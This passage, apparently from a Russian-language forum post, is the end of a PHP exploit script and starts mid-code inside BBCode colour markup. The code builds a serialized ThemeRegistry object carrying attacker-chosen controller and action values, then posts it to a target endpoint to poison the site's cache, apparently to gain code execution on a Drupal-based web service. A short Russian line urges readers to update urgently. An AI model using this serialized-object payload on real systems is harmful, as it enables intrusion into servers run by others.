if([/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"cURL:[/COLOR][COLOR="#0000BB"]$error[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]); }
return[/COLOR][COLOR="#0000BB"]json_decode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]); } }
[/COLOR][COLOR="#FF8000"]# Cache
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]cache_poison[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CONTROLLER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ACTION[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]); }
function[/COLOR][COLOR="#0000BB"]cache_reset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ThemeRegistry[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cache[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$endpoint[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]); }
function[/COLOR][COLOR="#0000BB"]cache_edit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]) { global[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#0000BB"]$tr[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]$json[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$browser[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]TYPE_PHP[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]); }
[/COLOR][COLOR="#FF8000"]# Utils
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]) { print([/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]); }
function[/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]); exit([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]); }
function[/COLOR][COLOR="#0000BB"]store[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"].json"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]json_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]JSON_PRETTY_PRINT[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Stored[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]information in[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]); }[/COLOR][/COLOR]
Всем срочно обновляться =)
Источник : Здесь
__________________
...
|